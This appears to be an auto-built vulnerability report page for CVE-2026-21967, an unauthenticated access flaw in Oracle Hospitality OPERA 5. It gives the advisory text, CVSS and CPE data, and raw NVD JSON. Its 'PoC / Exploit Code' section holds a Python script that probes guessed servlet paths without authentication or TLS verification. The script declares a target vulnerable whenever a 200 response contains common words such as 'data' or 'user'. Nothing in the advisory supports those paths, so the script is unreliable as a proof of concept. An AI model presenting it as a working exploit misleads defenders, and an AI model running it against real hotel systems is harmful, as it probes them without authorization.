Security Vulnerability Report
中文
CVE-2026-21967 CVSS 8.6 HIGH

CVE-2026-21967

Published: 2026-01-20 22:16:00
Last Modified: 2026-01-29 14:48:42

Description

Vulnerability in the Oracle Hospitality OPERA 5 product of Oracle Hospitality Applications (component: Opera Servlet). Supported versions that are affected are 5.6.19.23, 5.6.25.17, 5.6.26.10 and 5.6.27.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hospitality OPERA 5. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hospitality OPERA 5 accessible data as well as unauthorized update, insert or delete access to some of Oracle Hospitality OPERA 5 accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Hospitality OPERA 5. CVSS 3.1 Base Score 8.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L).

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:oracle:hospitality_opera_5:5.6.19.23:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:hospitality_opera_5:5.6.25.17:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:hospitality_opera_5:5.6.26.10:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:hospitality_opera_5:5.6.27.4:*:*:*:*:*:*:* - VULNERABLE
Oracle Hospitality OPERA 5 5.6.19.23
Oracle Hospitality OPERA 5 5.6.25.17
Oracle Hospitality OPERA 5 5.6.26.10
Oracle Hospitality OPERA 5 5.6.27.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-21967 PoC - Oracle Hospitality OPERA 5 Unauthorized Access # Target: Oracle Hospitality OPERA 5 Opera Servlet # Affected Versions: 5.6.19.23, 5.6.25.17, 5.6.26.10, 5.6.27.4 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-21967 This PoC attempts to access Opera Servlet endpoints without authentication """ # Common Opera Servlet paths that may be exploitable servlet_paths = [ '/opera/servlet/OperaServlet', '/opera/servlet/com.oracle.opera.servlet.OperaServlet', '/servlet/OperaServlet', '/opera5/servlet/OperaServlet' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*' } print(f"[*] Testing target: {target_url}") print(f"[*] Vulnerability: CVE-2026-21967 - Oracle Hospitality OPERA 5") for path in servlet_paths: url = target_url.rstrip('/') + path try: # Attempt unauthenticated access to servlet response = requests.get(url, headers=headers, timeout=10, verify=False) # Check for signs of vulnerability (sensitive data exposure) if response.status_code == 200 and any(keyword in response.text.lower() for keyword in ['data', 'config', 'user', 'admin', 'property']): print(f"[+] POTENTIALLY VULNERABLE: {url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") return True elif response.status_code == 200: print(f"[*] Endpoint accessible (needs further testing): {url}") except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {e}") print("[*] No obvious vulnerability indicators found") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-21967-poc.py <target_url>") print("Example: python cve-2026-21967-poc.py https://hotel.example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21967", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:59.733", "lastModified": "2026-01-29T14:48:41.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Hospitality OPERA 5 product of Oracle Hospitality Applications (component: Opera Servlet). Supported versions that are affected are 5.6.19.23, 5.6.25.17, 5.6.26.10 and 5.6.27.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hospitality OPERA 5. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hospitality OPERA 5 accessible data as well as unauthorized update, insert or delete access to some of Oracle Hospitality OPERA 5 accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Hospitality OPERA 5. CVSS 3.1 Base Score 8.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle Hospitality OPERA 5 de Oracle Hospitality Applications (componente: Opera Servlet). Las versiones compatibles afectadas son 5.6.19.23, 5.6.25.17, 5.6.26.10 y 5.6.27.4. Una vulnerabilidad fácilmente explotable permite a un atacante no autenticado con acceso a la red a través de HTTP comprometer Oracle Hospitality OPERA 5. Los ataques exitosos de esta vulnerabilidad pueden resultar en acceso no autorizado a datos críticos o acceso completo a todos los datos accesibles de Oracle Hospitality OPERA 5, así como acceso no autorizado para actualizar, insertar o eliminar algunos de los datos accesibles de Oracle Hospitality OPERA 5 y capacidad no autorizada para causar una denegación de servicio parcial (DoS parcial) de Oracle Hospitality OPERA 5. Puntuación Base CVSS 3.1 de 8.6 (impactos en Confidencialidad, Integridad y Disponibilidad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:hospitality_opera_5:5.6.19.23:*:*:*:*:*:*:*", "matchCriteriaId": "04679532-E932-4A98-851D-A5D2686E811A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:hospitality_opera_5:5.6.25.17:*:*:*:*:*:*:*", "matchCriteriaId": "F72AC12F-7DA8-4AB4-9645-FD6FCE2AB539"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:hospitality_opera_5:5.6.26.10:*:*:*:*:*:*:*", "matchCriteriaId": "F029305F-46E1-4620-9545-ED7066B33B0F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:hospitality_opera_5:5.6.27.4:*:*:*:*:*:*:*", "matchCriteriaId": "857E949C-0A97-4148-BE92-B0E55808290F"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}